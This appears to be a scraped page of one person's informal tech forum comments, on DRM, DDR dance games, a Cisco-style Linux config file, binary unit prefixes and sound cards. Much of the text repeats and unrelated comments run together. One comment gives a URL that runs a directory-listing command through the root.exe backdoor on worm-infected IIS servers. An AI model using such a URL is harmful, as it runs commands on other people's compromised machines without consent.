Imagine that 65% of the audited computers in China were using Chinese software. Therefore, 5% of the audited computers are out of compliance. Who needs to become compliant? Will you harass every non-compliant computer owner?
... because Digital Restrictions Management has kicked in.
Since you have opted to change the hardware of your laptop (which wasn't in the manual), you have proven yourself to be a hacker! Therefore, you are not Trusted to Configure anything anymore.
Trusted Computing is still Trusted though. Relax, sit back, and let the Mini-PCI Wireless Network Setup Wizard take over.
On the tutorial video they say "Your Flexplay DVD plays in any standard DVD drive..." The 3D clipart shown is a console DVD player, a Gateway 2000 Pentium-150-ish PC (you can tell by the case), and an original Sony Playstation.
quoting from various places on the website: "The Free Edition license is for non-commercial use only. Pricing for the Windows, Linux, and Mac versions of EiffelStudio is US$ 4,799.00. Pricing for the Unix version of EiffelStudio is US$ 7,999.00."
Almost thirteen grand for a "cross-platform" setup. Nuts to that.
See www.stepmania.com - they have one of the smoothest DDR-style games out there. The Mac OS X port seems to work just as well as the Windows port. Hopefully the Linux port is just as well-evolved.
I'm glad to help. I got interested in DDR after seeing a display at the Taste of Chicago in summer 2002, and went out pretty soon after and bought my own kit. Play the game at the arcade a few times to get the hang of how it goes!
You will have the best luck with a hard floor with very thin carpet, a good TV with stereo sound, a PS2 that won't fall down if you accidentally kick the cable, one of Konami's "DDR MAX" series of games, and a $20-$30 "beat pad" or "dance mat" from just about anyone. Nothing special to it. If you have played at the arcade, the home version is so similar it's intuitively easy to pick up. The "dance mat" controller plugs into the front of your PS2 like any other controller.
Have fun! On the home version I like to turn off the praise/insult track ("You're awesome!", "Have you had your breakfast today?", "Boo!", and other such), since it really doesn't help me learn the songs. I have spent a lot of time "unlocking" the many hidden songs by doing well at the songs I know. My younger sisters are having a good time with my PSX and older DDR games also - they were a great hand-me-down gift.
The only downside to DDRing at home is that you will miss out on meeting many fun people at the arcade. Everyone who plays started out poorly and got better, so please don't apologize for yourself or feel embarrassed. Just keep trying!
Cisco's configuration metaphor is the best thing out there, so far. It is possible to read one textfile and realize exactly what the router or switch is going to do! Also, this file makes it simple to replace failed hardware by loading the same file into alternate equipment.
All that is required is an interpreter that runs at boot-time or upon request, and syncs the real config files with the script. Just a small matter of programming.:-)
A sample config file:
version 0.1
!
hostname ns
!
authentication local
authentication username root password 5.....
!
ip name-server 127.0.0.1
ip default-gateway 10.1.1.1
ip domain-name testnet.local
!
interface eth0
ip address 10.1.1.25 255.255.255.0
duplex full
speed 100
!
service dns
zone master testnet.local
start-of-authority ns.testbox.local.......
...
I believe a solar cell is not self-sustaining. It is converting solar energy into electrical energy, and at less-than-perfect efficiency.
This device is claimed to take *nothing* (you can put it in a vacuum-sealed black bag in the middle of the ocean) and it will generate electricity until it breaks. No gamma radiation required. If it's "self-sufficient", it would work in absolutely any environment.
Someone was kind enough to start a petition in favor of keeping the show, and losing some of the obvious censorship that has happened since 9/11. Please stop by and sign! Even if this doesn't "convince Nick" to keep the show, it should show the other stations how much of a following Grr (oh yeah, and Zim) have gathered.:-) Please sign it!
We don't need to invent new prefixes to define base-2 numbers. The only numbers we are talking about are bits, not blocks or sectors or units.
Computer users have all come to agree that when talking about grams or pascals, those are fundamentally base-10 units. Bits are fundamentally base-2 though, and they remain base-two even when we multiply them.
Storage manufacturers started using "megabytes" incorrectly so their capacity would look larger. I remember getting quite pissed that my 100-MB Zip drive did not hold that much!
Also, "Kibibits" sounds too much like dog food to catch on with the general public.:-) - Jake
It seems that most small software projects (like KDE, Microsoft, and Gnome) become large enough to start spawning other useful ideas, they integrate them very tightly into their core concepts and therefore limit the usability of any other vendor's solution. Why don't these companies stick to defining *good* and *restrictive* guidelines? If this had been done decades ago, there would be books detailing how software should work together, and concepts such as BIOS, OLE, COM (KOM?!), and ActiveX would be so damn vague. (And the awesome folks at Wine would not have to work so hard!)
Since domain names have been judged not to be property, email is not equivalent to snail mail. Just like a domain name, email is an entry in a database - that's it. Suing MAPS makes as much sense as suing Microsoft for allowing filters to be used in Outlook.
I admit I've never programmed a driver, but the difference between a software-based sound card and a hardware-based sound card still escapes me.
When it comes to modems, it seems easy: A hardware-based modem will communicate directly through a serial port, and these have been standard for years. A software-based modem doesn't, and needs CPU-intensive software to do its signal processing for it. So, I've always pictured a softmodem as a sound card for a phone line. The CPU has to calculate all of the sound it needs.
But when you're dealing with a sound card, there are already several different manufacturers and interfaces. While some cards may be SBPro- or SB16-compatible, there are always different native ways of using them. Each driver (ESS, SB, SoundPro, Aureal, AC97) still has to pass the sound data to the card in a different way.
True, there are always cards that will do more (hardware wavetable MIDI, 3D effects generation, Dolby surround support), but people who need these features would buy a more expensive sound card, same as they'd buy an ever-more-enhanced-3D video card.
What would one of these cards do poorly that a SoundBlaster 16 does better?
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Imagine that 65% of the audited computers in China were using Chinese software. Therefore, 5% of the audited computers are out of compliance. Who needs to become compliant? Will you harass every non-compliant computer owner?
Ingo Molnar.
:-)
("My name is Amigo Imnolar. You hacked my kernel. Prepare to die."
... because Digital Restrictions Management has kicked in.
Since you have opted to change the hardware of your laptop (which wasn't in the manual), you have proven yourself to be a hacker! Therefore, you are not Trusted to Configure anything anymore.
Trusted Computing is still Trusted though. Relax, sit back, and let the Mini-PCI Wireless Network Setup Wizard take over.
Just give everyone in Utah a membership at Orkut and require them to invite everyone they know (under the Patriot Act, of course).
On the tutorial video they say "Your Flexplay DVD plays in any standard DVD drive..." The 3D clipart shown is a console DVD player, a Gateway 2000 Pentium-150-ish PC (you can tell by the case), and an original Sony Playstation.
Yeah, it's "wreaking". "Reeking" would be to stink (well, true, it does.) "Wrecking" would be to destroy (hmm, it does that too!)
"Wreaking havoc" is to bring about havoc. And MyDoom isn't wreaking havoc on my network. My firewall's so busy, no havoc can get through!
Oh, 'cause it would be a Haiti crime...
How would you like to see Microsoft partnering to release more Microsoft-only software?
I vote for all the cross-platform goodness we can get.
After all, freedesktop.org *is* almost, but not quite, completely unlike Xfree86.
quoting from various places on the website:
"The Free Edition license is for non-commercial use only. Pricing for the Windows, Linux, and Mac versions of EiffelStudio is US$ 4,799.00. Pricing for the Unix version of EiffelStudio is US$ 7,999.00."
Almost thirteen grand for a "cross-platform" setup. Nuts to that.
See www.stepmania.com - they have one of the smoothest DDR-style games out there. The Mac OS X port seems to work just as well as the Windows port. Hopefully the Linux port is just as well-evolved.
I'm glad to help. I got interested in DDR after seeing a display at the Taste of Chicago in summer 2002, and went out pretty soon after and bought my own kit. Play the game at the arcade a few times to get the hang of how it goes!
You will have the best luck with a hard floor with very thin carpet, a good TV with stereo sound, a PS2 that won't fall down if you accidentally kick the cable, one of Konami's "DDR MAX" series of games, and a $20-$30 "beat pad" or "dance mat" from just about anyone. Nothing special to it. If you have played at the arcade, the home version is so similar it's intuitively easy to pick up. The "dance mat" controller plugs into the front of your PS2 like any other controller.
Have fun! On the home version I like to turn off the praise/insult track ("You're awesome!", "Have you had your breakfast today?", "Boo!", and other such), since it really doesn't help me learn the songs. I have spent a lot of time "unlocking" the many hidden songs by doing well at the songs I know. My younger sisters are having a good time with my PSX and older DDR games also - they were a great hand-me-down gift.
The only downside to DDRing at home is that you will miss out on meeting many fun people at the arcade. Everyone who plays started out poorly and got better, so please don't apologize for yourself or feel embarrassed. Just keep trying!
Hmm, I thought Canadian IPs always ended in ".65"... That's the ASCII code for "A" of course.
per www.muzak.com, "Muzak(R) is a registered trademark of Muzak LLC."
They are using the mp3.com catalog as background music.
Cisco's configuration metaphor is the best thing out there, so far. It is possible to read one textfile and realize exactly what the router or switch is going to do! Also, this file makes it simple to replace failed hardware by loading the same file into alternate equipment.
:-)
.....
.......
All that is required is an interpreter that runs at boot-time or upon request, and syncs the real config files with the script. Just a small matter of programming.
A sample config file:
version 0.1
!
hostname ns
!
authentication local
authentication username root password 5
!
ip name-server 127.0.0.1
ip default-gateway 10.1.1.1
ip domain-name testnet.local
!
interface eth0
ip address 10.1.1.25 255.255.255.0
duplex full
speed 100
!
service dns
zone master testnet.local
start-of-authority ns.testbox.local
...
I believe a solar cell is not self-sustaining. It is converting solar energy into electrical energy, and at less-than-perfect efficiency.
This device is claimed to take *nothing* (you can put it in a vacuum-sealed black bag in the middle of the ocean) and it will generate electricity until it breaks. No gamma radiation required. If it's "self-sufficient", it would work in absolutely any environment.
Someone was kind enough to start a petition in favor of keeping the show, and losing some of the obvious censorship that has happened since 9/11. Please stop by and sign! Even if this doesn't "convince Nick" to keep the show, it should show the other stations how much of a following Grr (oh yeah, and Zim) have gathered. :-) Please sign it!
We don't need to invent new prefixes to define base-2 numbers. The only numbers we are talking about are bits, not blocks or sectors or units.
:-) - Jake
Computer users have all come to agree that when talking about grams or pascals, those are fundamentally base-10 units. Bits are fundamentally base-2 though, and they remain base-two even when we multiply them.
Storage manufacturers started using "megabytes" incorrectly so their capacity would look larger. I remember getting quite pissed that my 100-MB Zip drive did not hold that much!
Also, "Kibibits" sounds too much like dog food to catch on with the general public.
It seems that most small software projects (like KDE, Microsoft, and Gnome) become large enough to start spawning other useful ideas, they integrate them very tightly into their core concepts and therefore limit the usability of any other vendor's solution. Why don't these companies stick to defining *good* and *restrictive* guidelines? If this had been done decades ago, there would be books detailing how software should work together, and concepts such as BIOS, OLE, COM (KOM?!), and ActiveX would be so damn vague. (And the awesome folks at Wine would not have to work so hard!)
I had some fun with this one: (URL follows) http://{infected-IP}/scripts/root.exe?/C%20dir%20c :\%20/S
Since domain names have been judged not to be property, email is not equivalent to snail mail. Just like a domain name, email is an entry in a database - that's it. Suing MAPS makes as much sense as suing Microsoft for allowing filters to be used in Outlook.
I admit I've never programmed a driver, but the difference between a software-based sound card and a hardware-based sound card still escapes me.
When it comes to modems, it seems easy: A hardware-based modem will communicate directly through a serial port, and these have been standard for years. A software-based modem doesn't, and needs CPU-intensive software to do its signal processing for it. So, I've always pictured a softmodem as a sound card for a phone line. The CPU has to calculate all of the sound it needs.
But when you're dealing with a sound card, there are already several different manufacturers and interfaces. While some cards may be SBPro- or SB16-compatible, there are always different native ways of using them. Each driver (ESS, SB, SoundPro, Aureal, AC97) still has to pass the sound data to the card in a different way.
True, there are always cards that will do more (hardware wavetable MIDI, 3D effects generation, Dolby surround support), but people who need these features would buy a more expensive sound card, same as they'd buy an ever-more-enhanced-3D video card.
What would one of these cards do poorly that a SoundBlaster 16 does better?